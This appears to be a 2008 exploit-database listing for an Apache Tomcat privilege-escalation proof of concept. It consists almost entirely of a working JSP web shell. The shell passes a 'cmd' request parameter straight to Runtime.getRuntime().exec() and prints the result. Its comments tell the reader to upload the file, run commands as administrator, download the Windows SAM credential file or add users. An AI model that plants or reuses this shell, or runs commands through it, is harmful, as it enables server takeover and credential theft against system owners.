Apache Tomcat untime.getRuntime().exec() Privilege Escalation (win)

🗓️ 29 Nov 2008 00:00:00Reported by RootType

Apache Tomcat Privilege Escalation Vulnerability Po


                                                &lt;%@ page import=&quot;java.util.*,java.io.*&quot;%&gt;
&lt;%
%&gt;
 
&lt;%--
abysssec inc public material
 
just upload this file with abysssec.jsp and execute your command
your command will run as administrator . you can download sam file
add user or do anything you want .
note : please be gentle and don't obstructionism .
vulnerability discovered by : abysssec.com
 
 --%&gt;
&lt;HTML&gt;&lt;BODY bgcolor=#0000000 and text=#DO0000&gt;
&lt;title&gt; Abysssec inc (abysssec.com) JSP vulnerability &lt;/tile&gt;
&lt;center&gt;&lt;h3&gt;JSP Privilege Escalation Vulnerability PoC&lt;/center&gt;&lt;/h3&gt;
&lt;FORM METHOD=&quot;GET&quot; NAME=&quot;myform&quot; ACTION=&quot;&quot;&gt;
&lt;INPUT TYPE=&quot;text&quot; NAME=&quot;cmd&quot;&gt;
&lt;INPUT TYPE=&quot;submit&quot; VALUE=&quot;Execute !&quot;&gt;
&lt;/FORM&gt;
&lt;pre&gt;
&lt;%
if (request.getParameter(&quot;cmd&quot;) != null) {
        out.println(&quot;Command: &quot; + request.getParameter(&quot;cmd&quot;) + &quot;&lt;BR&gt;&quot;);
        Process p = Runtime.getRuntime().exec(request.getParameter(&quot;cmd&quot;));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%&gt;
&lt;/pre&gt;
&lt;/BODY&gt;&lt;/HTML&gt;

29 Nov 2008 00:00Current

7.1High risk

Vulners AI Score7.1